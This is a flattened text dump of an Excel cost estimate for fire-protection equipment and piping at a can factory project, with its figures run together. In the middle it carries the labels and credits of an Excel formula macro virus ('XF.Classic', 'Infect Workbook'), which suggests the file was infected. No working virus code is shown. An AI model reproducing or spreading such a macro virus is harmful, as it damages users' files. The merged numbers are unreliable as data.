FPESTIMATING QUANTITYPROJECT: CROWN NEW CAN FACTORYITEM: FIRE PROTECTIONN.oEquipment nameUnitQuantityPRICE (VND)(a)AMOUNT (VND)(b)TOTAL (VND)(a+b)NoteMaterialLabourMaterialLabourAMain equipment5,343,081,92068,315,6005,411,397,5202Diezel pump 567.78CMH, 100mH20Set21,725,939,60015,000,0003,451,879,20030,000,0003,481,879,2004Diezel pump 396CMH, 60mH20Set2835,699,20015,000,0001,671,398,40030,000,0001,701,398,4005Jockey pump 5.4 CMH, 105mH2OSet1110,248,3202,000,000110,248,3202,000,000112,248,3206Expansion Tank 1000LSet126,316,0002,631,60026,316,0002,631,60028,947,6007Control panelSet235,200,0001,200,00070,400,0002,400,00072,800,0008Base pump + dash potSet52,568,000256,80012,840,0001,284,00014,124,000BEquipment and pipe5,028,142,021603,377,0435,631,519,064IEquipment1Butterfly valve - PN1600DN50Set11,253,632150,4361,253,632150,4361,404,068DN65Set11,361,080163,3301,361,080163,3301,524,410DN150Set22,900,242348,0295,800,484696,0586,496,542DN200Set144,395,954527,51461,543,3567,385,20368,928,559DN250Set26,093,291731,19512,186,5821,462,39013,648,972DN300Set28,246,747989,61016,493,4941,979,21918,472,7132Check Valve - PN1600DN50Set11,328,118159,3741,328,118159,3741,487,492DN150Set21,585,170190,2203,170,340380,4413,550,781DN250Set28,219,350986,32216,438,7001,972,64418,411,3443Pressure Gauge (0-16Bar) DN100Set10632,06075,8476,320,600758,4727,079,0724Y-strainer00DN65Set12,322,120278,6542,322,120278,6542,600,774DN100Set23,852,506462,3017,705,012924,6018,629,613DN200Set213,846,2481,661,55027,692,4963,323,10031,015,5965Flexible Connection - PN1600DN50Set1944,130113,296944,130113,2961,057,426DN65Set1997,854119,742997,854119,7421,117,596DN150Set22,568,908308,2695,137,816616,5385,754,354DN200Set26,616,619793,99413,233,2381,587,98914,821,227DN250Set29,271,9991,112,64018,543,9982,225,28020,769,278DN300Set212,048,7401,445,84924,097,4802,891,69826,989,1786Flange(250lbs)00DN50Set748,8005,856341,60040,992382,592DN65Set756,5006,780395,50047,460442,960DN150Set14162,00019,4402,268,000272,1602,540,160DN200Set14195,87023,5042,742,180329,0623,071,242DN250Set16256,34030,7614,101,440492,1734,593,613DN300Set14286,75034,4104,014,500481,7404,496,240DN350Set1315,26037,831315,26037,831353,0917Brass foot valve0000DN65Set12,791,296334,9562,791,296334,9563,126,252DN200Set212,294,6721,475,36124,589,3442,950,72127,540,065DN300Set227,980,3793,357,64555,960,7586,715,29162,676,0498Pressure Switch (0-16Bar)Set2428,08051,370856,160102,739958,8999Automatic Air Vent - PN16Set11175,50021,0601,930,500231,6602,162,16010Floatless Level SwitchSet23,875,372465,0457,750,744930,0898,680,833Flow switchDN100Set61,882,054225,84611,292,3241,355,07912,647,403DN150Set51,882,054225,8469,410,2701,129,23210,539,502DN250Set11,882,054225,8461,882,054225,8462,107,90011Gate valve c/w supervisory switchDN100Set54,671,423560,57123,357,1152,802,85426,159,969DN150Set55,676,769681,21228,383,8453,406,06131,789,906DN250Set18,936,5981,072,3928,936,5981,072,39210,008,99012Test valve DN25Set112,340,000280,80025,740,0003,088,80028,828,80013Drain valve DN25Set11272,04532,6452,992,495359,0993,351,59414Sight glass DN25Set11212,50025,5002,337,500280,5002,618,00015OrificeSet1193,75011,2501,031,250123,7501,155,00016Deluge valve DN200Set4153,279,00018,393,480613,116,00073,573,920686,689,92017Drencher nozzleSet70273,00032,76019,110,0002,293,20021,403,20018Pendent sprinkler, k=5.6, t=68CSet121210,00025,20025,410,0003,049,20028,459,20019Pendent sprinkler, k=8.0, t=78CSet6273,00032,7601,638,000196,5601,834,56020Upright sprinkler, k=5.6, t=68CSet271210,00025,20056,910,0006,829,20063,739,20021Upright sprinkler, k=8.0, t=78CSet756273,00032,760206,388,00024,766,560231,154,56020ESFR upright sprinkler, k=25.2, t=74CSet340953,400114,408324,156,00038,898,720363,054,72022Fire Department ConnectionSet11,900,000228,0001,900,000228,0002,128,00023Outside Hydrant Hose ConnectionSet72,300,000276,00016,100,0001,932,00018,032,00024Hydrant Cabinet + ABC 5.0kg + CO2 5.0kg Fire ExtinguisherSet201,750,000210,00035,000,0004,200,00039,200,00025ABC Fire Extinguisher 5.0kgSet28260,00031,2007,280,000873,6008,153,60026CO2 Fire Extinguisher 5.0kgSet28620,00074,40017,360,0002,083,20019,443,200IIPiping (galvanized steel - ASTM-SCHEDULE 40)001PipingDN25m270355,7006,684150,557,10018,066,852168,623,952DN32m7775,5299,0635,815,733697,8886,513,621DN40m10190,23410,8289,113,6341,093,63610,207,270DN50m422121,20314,54451,147,6666,137,72057,285,386DN65m317192,27623,07360,951,4927,314,17968,265,671DN80m1290251,54130,185324,487,89038,938,547363,426,437DN100m325358,03942,965116,362,67513,963,521130,326,196DN125m55485,03558,20426,676,9253,201,23129,878,156DN150m298629,63275,556187,630,33622,515,640210,145,976DN200m810948,014113,762767,891,34092,146,961860,038,301DN250m511,343,261161,19168,506,3118,220,75776,727,068DN300m7001,643,818197,2581,150,672,600138,080,7121,288,753,312DN350m42,106,574252,7898,426,2961,011,1569,437,4522Co 90 (galvanized steel - ASTM-SCHEDULE 40)00DN25Set64193,12511,17559,693,1257,163,17566,856,300DN32Set394,56011,347283,68034,042317,722DN40Set195,00011,40095,00011,400106,400DN50Set3299,10011,8923,171,200380,5443,551,744DN65Set2102,62512,315205,25024,630229,880DN80Set85105,60012,6728,976,0001,077,12010,053,120DN100Set5112,50013,500562,50067,500630,000DN125Set1181,10021,732181,10021,732202,832DN150Set7215,63025,8761,509,410181,1291,690,539DN200Set31245,32529,4397,605,075912,6098,517,684DN250Set1286,54034,385286,54034,385320,925DN300Set6325,60039,0721,953,600234,4322,188,0323Tee (galvanized steel - ASTM-SCHEDULE 40)00DN25Set518115,00013,80059,570,0007,148,40066,718,400DN32Set81121,50014,5809,841,5001,180,98011,022,480DN40Set219132,56015,90729,030,6403,483,67732,514,317DN50Set43145,86517,5046,272,195752,6637,024,858DN65Set85152,35018,28212,949,7501,553,97014,503,720DN80Set376168,70020,24463,431,2007,611,74471,042,944DN100Set67195,63023,47613,107,2101,572,86514,680,075DN125Set8215,63025,8761,725,040207,0051,932,045DN150Set56223,52026,82212,517,1201,502,05414,019,174DN200Set93245,67029,48022,847,3102,741,67725,588,987DN250Set8276,81033,2172,214,480265,7382,480,218DN300Set17318,23538,1885,409,995649,1996,059,194DN350Set6350,64042,0772,103,840252,4612,356,301IIIAdditional equipment differentSet100Total10,371,223,941671,692,64311,042,916,584VAT (10%)1,037,122,39467,169,2641,104,291,658Total11,408,346,335738,861,90712,147,208,242

&LMARS CORPORATION&RTrang &P/&N

XXXXXXXXDtoan Cotecons 18-07-06.xlsBook1C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1.**Auto and On Sheet Starts Here**3Classic.Poppy by VicodinESWith Lord NatasAn Excel Formula Macro Virus (XF.Classic)Hydrocodone/APAP 10-650 For Your Computer(C) The Narkotic Network 1998**Simple Payload****Set Our Values and Paths****Add New Workbook, Infect It, Save It As Book1.xls****Infect Workbook**

Sheet1Vn PhngXng sn xut chnhTng thTng cngng cha chyDN2586818352703DN32423577DN403566101DN5075100247422DN6573.520044317.5DN8045.51207371289.5DN1006316597325DN12505555DN1500180118298DN2000686124810DN250054651DN3000700700DN350044Co 90DN25235406641DN3233DN4011DN5072532DN6522DN808585DN100145DN12511DN150257DN20027431DN25011DN30066DN3500TeeDN25134384518DN32463581DN4033186219DN50172643DN652656385DN80433312376DN1002242367DN12588DN15011321356DN20091293DN250358DN3001717DN3506682187.621000172593960017259396005249.922100011024832011024832039795.22100083569920083569920045.421000953400953400

Sheet2DNmkg/mkgT/kgVND/m2527032.56757.522,28055,70032773.39261.0322,28075,529401014.05409.0522,28090,234504225.442295.6822,280121,203653178.632735.7122,280192,27680129011.2914564.122,280251,54110032516.075222.7522,280358,0401255521.771197.3522,280485,03615029828.268421.4822,280629,63320081042.5534465.522,280948,0142505160.293074.7922,2801,343,26130070073.785164622,2801,643,818350494.55378.222,2802,106,574

MBD000C1BF2.unknown